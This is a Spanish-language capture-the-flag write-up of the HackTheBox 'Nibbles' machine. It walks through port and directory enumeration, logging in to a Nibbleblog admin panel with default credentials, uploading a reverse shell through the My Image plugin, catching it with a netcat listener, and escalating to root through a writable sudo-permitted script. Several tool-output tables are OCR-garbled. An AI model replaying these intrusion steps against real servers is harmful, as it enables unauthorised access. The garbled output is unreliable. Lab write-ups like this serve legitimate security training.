

1. Enumeración.

Realizamos un PING a la máquina víctima para comprobando su TTL. A partir del valor devuelto, nos podemos hacer una idea del sistema operativo que tiene.

| (root@kali)-[/home/kali/HTB/nibbles]10.14.46/23 devit |
|---|
| L+m2ping0=c11:10:10.10:75face_mtu_set: mtu 1500 for tun0 |
| PING 10.10.10.75 (10.10.10.75) 56(84) bytes of data. |
| 64 bytes from 10.10.10.75: icmp_seq=1 ttl=63 time=50.6/ms |

Realizamos un escaneo exhaustivo de los puertos abiertos, con sus correspondientes servicios y versiones asociados.



Comprobamos el LaunchPad de la versión del SSH y vemos que estamos ante una versión Xenial de Ubuntu.

openssh 1:7.2p2-4ubuntu2.2 source package in Ubuntu

Changelog

| openssh (1:7.2p2-4ubuntu2.2) xenial; urgency=medium | |
|---|--|
| Fix ssh-keygen -H accidentally corrupting known_h already-hashed entries (LP: #1668093). Fix ssh-keyscan to correctly hash hosts with a po | osts that contained rt number (LP: #1670745). |
| Christian Ehrhardt <email address="" hidden=""> Wed, 1</email> | 5 Mar 2017 13:16:56 +0100 |
| Upload details Uploaded by: Christian Ehrhardt © on 2017-03-16 | Uploaded to: Xenial |
| Original maintainer: a Ubuntu Developers | Architectures: any all |
| Section: | Urgency: Medium Urgency |

Intentamos realizar una enumeración con el módulo de nmap "http-enum" pero no nos descubre nada.

| | Startin Nmap sc Host is Not sho PORT 22/tcp 80/tcp _http- Service | retriant p -sVscript= g Nmap 7.93 (ht an report for 10 sup (0.037s late wn: 998 closed for STATE SERVICE VE open ssh Op open http Ap- server-header: A server-header: A | /kali/HT http-enu ttps://m 0.10.10. ency). tcp port ERSION penSSH 7 pache ht Apache/2 x; CPE: | B/nibb m 10.1 map.or 75 cs (res 2.2p2 U tpd 2. 2.4.18 cpe:/o | les] 0.10.7 g) at et) buntu 4.18 ((Ubunt :linu) | 75 t 2022-11-05 1 4ubuntu2.2 (U ((Ubuntu)) tu) c:linux_kernel | 0:49 CE buntu L | f modifie -256-CBC' initial e hash ' initial inux;spro 17.2 dev (FACE-eth) | d ized w SHA256 ized w tocol6 eth0 o HwAD | ith 2 / for 2.0)r DR=00 | 56 t HM4 56 t HM4 | |
|--------------|--|--|---|---|--|--|--------------------|---|---|----------------------------------|----------------------------|----|
| Revisamos | las | tecnologías | que | usa | el | aplicativo | que | corre | en | el | puerto | 80 |
| -(root@kali) | -[/home/ | /kali/HTB/nibbles] | | | | | | | | | | |

2. Análisis de vulnerabilidades

-# whatweb http://10.10.10.75 ttp://10.10.10.75 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Lin

Vemos la página web en nuestro navegador web y revisamos el código fuente.



Conseguimos información de un directorio /nibbleblog/.



Accedemos al nuevo directorio.

| ← → C බ O 2 10.10.10.75/hibbl Kall Linux 8 Kall Tools Kall Docs X Kall Forums | eblog/ NetHunter 🛸 Exploit-DB 🛸 Go | ogle Hacking DB 🕴 OffSec | |
|---|---------------------------------------|--------------------------|--|
| | Nibbles Yum | yum | |
| | There are no posts | Home | CATEGORIES Uncategorised Music Videos |
| | | | HELLO WORLD Hello world |
| | | | LATEST POSTS |

"Googleamos" para ver que es nibbleglob.

uux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.75]

nibbleblog, **un nuevo CMS para crear blogs sin usar base de datos** [opensource] Diego Najar nos presenta nibbleblog.com, un nuevo proyecto de código libre que nos permite crear un blog y administrarlo de forma sencilla. 22 ago 2012

| (rmot@knt))-[/home/kali/HTB/nibbles] gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.75/nibbleblog | | | | | |
|--|---|--|--|--|--|
| Gobuster v3.2.0-dev by OJ Reeves (@TheColonial) | 0 & Christian Mehlmauer (@firefart) | | | | |
| <pre>[+] Url: [+] Wethod: [+] Threads: [+] Wordlist: [+] Wegative Status codes: [+] User Agent: [+] Timeout:</pre> | http://10.10.10.75/nibbleblog GET 10 /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 404 gobuster/3.2.0-dev 10s | | | | |
| 2022/11/05 13:35:41 Startin | g gobuster in directory enumeration mode | | | | |
| /content (Stat /themes (Stat /admin (Stat /plugins (Stat /README (Stat /languages (Stat Progress: 117482 / 220561 (!ls Keyband interrunt det | us: 301) [Size: 323] [→ http://10.10.10.75/nibbleblog/content/] us: 301) [Size: 322] [→ http://10.10.10.75/nibbleblog/themes/] us: 301) [Size: 321] [→ http://10.10.10.75/nibbleblog/admin/] us: 301) [Size: 323] [→ http://10.10.10.75/nibbleblog/plugins/] us: 301) [Size: 325] [→ http://10.10.75/nibbleblog/languages/] 53.27%) ⁺ C sted. terminating. | | | | |

Realizamos un descubrimiento de directorios. Vemos un fichero llamado README.

Si lo revisamos, descubrimos la versión que está instalada en la máquina víctima.



Vemos que esta versión tiene una vulnerabilidad, que podemos explotar para ganar acceso: https://curesec.com/blog/article/blog/NibbleBlog-403-Code-Execution-47.html

Usamos Nikto y descubrimos un panel llamado admin.php.

| <pre>(root@kali)-[/ho </pre> | ne/kali] 10.10.75/nibbleblog/ | | | |
|--|---|---|---|---|
| + Target IP: + Target Hostname: + Target Port: + Start Time: | 10.10.10.75 10.10.10.75 80 2022-11-05 13:37:52 (GMT1) | | | |
| <pre>* Server: Apache/2.4 * The anti-clickjack * The arti-clickjack * The X-SS-ProtectI * The X-Content-Type * Nokif DifScill * SS-ProtectI * Allowed HTTP Methe * Wob Server returns * Allowed HTTP Methe * OSVDB-20786: /nibbl * OSVDB-20786: /nibbl * OSVDB-20786: /nibbl * OSVDB-20786: /nibbl * OSVDB-20726: /nibbl * OSVDB-3092: /nibbl * OSVDB-3092! * OSVDB-3092! * OSVDB-3092! * OSVDB-3092! * OSVDB-3092! * OSVDB-3092! * OSVDB-3000! * OSVDB-300! * OSVDB-300! * OSVDB-300! * OSVDB-300! * OSVDB-300! * OSVDB-300! * O</pre> | .18 (Ubuntu) Ing X-Frame-Options header is not present. In Acader 1s not defined. This header can hint to the use Options header 1s not set. This could allow the user agy reated without is hit topoly flag. Academic and the set of the set of the set of the set is GF, HGA, POST, OPTIONS a valid response with junk HTTP methods, this may cause leblog/admin.php?en.log_id=0#action=users: EasyNews from eblog/admin.php?en.log_id=0#action=users: EasyNews from eblog/admin.php?en.log.id=0#action=users: EasyNews from eblog/admin.php: This might be interesting eblog/admin.php: This might be interesting eblog/admin.php: This might be interesting eblog/Admin.php: This might be interesting eblog/Admin.php: Extended flag for and. eblog/ICENSE.txt: License file found may identify site : 2022-11-05 13:44:17 (GMT1) (385 seconds) | er agent to protect against some forms of XSS ent to render the content of the site in a di Apache 2.2.34 is the EOL for the 2.x branch. false positives. nittp://www.webrc.ca version 4.3 allows remot http://www.webrc.ca version 4.3 allows remot | fferent fashion to the te admin access. This e admin access. This F | e MIME type PHP file should be protected. PHP file should be protected. |
| | 읍 10.10.75/nibbleblog/admin.php ♥ Kali Forums ╺♥ Kali NetHunter ● Exploit-DB ● Googl | e Hacking DB 🗍 OffSec | | |
| | | | | |
| | | Sign in to Nibbleblog admin area | | |
| | | Username | | |
| | | Password | | |
| | | Remember me | Login | |
| | | ←Back to blog | | |

Intentamos acceder con varias combinaciones de usuario y clave por defectos. La máquina victima tiene un control, que banea durante cierto tiempo si se producen varios intentos fallidos de inicio de sesión. Sin embargo, con admin/nibbles conseguimos acceso.

3. Explotación e intrusión.

Seguimos los pasos descritos para explotar a vulnerariblidad anteriormente comentada. Accedemos a la web

<u>http://10.10.10.75/nibbleblog/admin.php?controller=plugins&action=config&plugin=my_imag</u> <u>e</u> y subimos una "Reverse Shell".

| 🕷 nibbleblog - Plugins :: My image | Ch Dashboard | A View Blog | 🗭 Log out |
|------------------------------------|--------------|-------------|-----------|
| Title | | | |
| My image | | | |
| Position | | | |
| 3 | | | ~ |
| Caption | | | |
| asdf | | | |
| | | | |
| Browse No file selected. | | | |
| Paulo shaanaa | | | |

Nos ponemos en escucha con NC y accedemos a la URL para ejecutar el código malicioso: http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php

| <pre>(root@kali)-[/home/kali/HTB/nibbles]</pre> |
|---|
| La nc –nlvp 443 |
| listening on [any] 443 |
| connect to [10.10.14.46] from (UNKNOWN) [10.10.10.75] 36426 |
| Linux Nibbles 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux |
| 14:55:52 up 6:48, 0 users, load average: 0.00, 0.03, 0.06 |
| USER TTY FROM LOGINO IDLE JCPU PCPU WHAT |
| uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler) |
| /bin/sh: 0: can't access tty; job control turned off |
| |

4. Escalada de privilegios.

Revisamos nuestros privilegios de sudoers y vemos un fichero que podemos ejecutar como root sin tener que introducir ninguna clave.



El fichero no existe, por lo que procedemos a crearlo para que se ejecute una bash. Le damos privilegios y lo ejecutamos.



Conseguimos acceso como root.



